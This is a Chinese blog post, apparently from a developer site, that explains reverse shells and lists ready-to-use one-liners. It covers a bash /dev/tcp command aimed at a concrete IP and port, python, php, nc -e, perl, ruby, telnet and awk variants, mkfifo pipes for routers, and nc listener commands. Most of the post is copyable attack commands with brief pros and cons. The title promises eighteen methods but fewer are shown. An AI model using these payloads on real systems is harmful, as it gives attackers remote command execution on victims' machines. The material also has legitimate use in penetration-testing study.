【安全】反弹Shell的原理及18般利用姿势

前言

shell:一种用来执行操作系统指令的程序
反弹shell (reverse shell):一种让远程系统执行本地shell的程序

1 原理

远程系统监听一个TCP/UDP端口,本地系统运行反弹shell,反弹shell会连接该端口,并接收远程系统发送的shell指令,执行之后再将指令的输出流转发给远程系统。

1.1文件描述符

linux万物皆文件,它会为文件分配一个数字,也就是文件描述符,默认有三个特殊的文件描述符:

  • 0:标准输入,输入的指令
  • 1:标准输出,指令返回的执行结果
  • 2:错误输出,指令返回的错误信息

既然输入输出都是文件,那么就可以将文件内容重定向到其他文件中:

  • 输入重定向:<
  • 输出重定向:>
  • 标准输入输出重定向:[描述符]>&[描述符],如0>&1,标准输入重定向到标准输出

1.2一条命令

bash -i 1> /dev/tcp/10.20.178.211/5566 0>&1 2>&1 

分开一段段来理解:

  • bash -i
    开启一个交互式的shell
  • 1> /dev/tcp/10.20.178.211/5566
    将标准输出(1)重定向到tcp的连接上面,也就是将标准输出发送给远程主机
  • 0>&1 2>&1
    将标准输入(0)和错误输出流(2)都指向标准输出(1),而标准输出我们已经发给了远程主机,那么相当于是将输入输出流都重定向到了tcp连接,即本地主机可以通过tcp连接来接收指令,并且将输出流全部发给远程主机

该命令可以精简为:

bash -i &> /dev/tcp/10.20.178.211/5566 0>&1
  • &>:重定向标准输出+错误输出

2 利用姿势

2.0 服务端

  • nc服务端
-l 开启监听

-p 指定一个端口

-v 显示详细输出

-e 指定对应的应用程序

-n nc不要DNS反向查询IP的域名

-z 连接成功后立即关闭连接

举例:
nc -lvp 2345 -e /bin/bash
正向反弹,开启端口并提供执行程序,远程shell连接这个端口,即可控制开启端口的这台服务,相当于提供了远程访问入口。
nc -lvvp 2345
反向反弹,开启端口,远程shell连接这个端口,开启端口的服务即可控制远程shell端,相当于被动接受远程控制通道。

2.1 bash反弹shell

控制端:nc -lvvp 端口
被控端:bash -i >& /dev/tcp/控制端ip/控制端端口 0>&1

优点:在大多数Liunx系统上都可以使用
缺点:在路由器系统中不存在bash,存在符号>、&在反序列化中或者对符号转义的情况下就没有办法反弹了。

2.2 python反弹shell

控制端:nc -lvvp 端口
被控端:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("控制端ip",控制端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

优点:在安装了python上的linux都可以使用,原理还是将标准输入、标准输出、标准错误输出重定向到远程。使用bash交互模式启动。
缺点:在路由器系统中不存在bash或者阉割了python库,存在符号>、&、'、"在反序列化中或者对符号转义的情况下就没有办法反弹了。单双引号也会导致闭合问题。

2.3 php反弹shell

控制端:nc -lvvp 端口
被控端:php -r '$sock=fsockopen("控制端ip",控制端端口);exec("/bin/bash -i <&3 >&3 2>&3");'

2.4 nc反弹shell

控制端:nc -lvvp 端口
被控端:nc 控制端ip 控制端端口 -e /bin/bash 2>&1>/dev/null &

优点:直接反弹,没有多余的符号。
缺点:系统apt默认安装的都是不提供反向链接的版本(没有-e参数),需要自己上传编译后的二进制版本。

  • 解决方法1:
//利用6666端口传入内容交给bash执行,再将内容从7777送出去,管道符的用法。
nc 127.0.0.1 6666|/bin/bash|nc 127.0.0.1 7777
  • 解决方法2(针对某些mips架构的路由器&busybox终端的系统):
//锐捷
//mkfifo命令首先创建了一个管道,sh会执行管道里的命令,并将标准输出和标准错误输出结果通过nc传到该管道,由此形成了一个回路
mkfifo /tmp/backpipe1 | /bin/sh 0</tmp/backpipe1 | nc 127.0.0.1 6666 1>/tmp/backpipe1
//飞鱼星反弹shell
mkfifo /tmp/backpipe1 | /bin/sh 0</tmp/backpipe1 | /bin/busybox nc 127.0.0.1 6666 1>/tmp/backpipe1

2.5 perl反弹shell

控制端:nc -lvvp 端口
被控端:perl -e 'use Socket;$i="控制端ip";$p=控制端端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

2.6 ruby反弹shell

控制端:nc -lvvp 端口
被控端:ruby -r socket -e 'exit if fork;c=TCPSocket.new("控制端ip","控制端端口");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

2.7 telnet反弹shell

控制端:nc -lvvp 端口
被控端:mknod backpipe p && telnet 控制端ip 控制端端口 0<backpipe | /bin/bash 1>backpipe

2.8 awk反弹shell

控制端:nc -lvvp 端口
被控端:awk 'BEGIN{s="/inet/tcp/0/控制端ip/控制端端口";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!="exit");close(s)}}'



爱家人,爱生活,爱设计,爱编程,拥抱精彩人生!

  • 5
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

qqchaozai

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值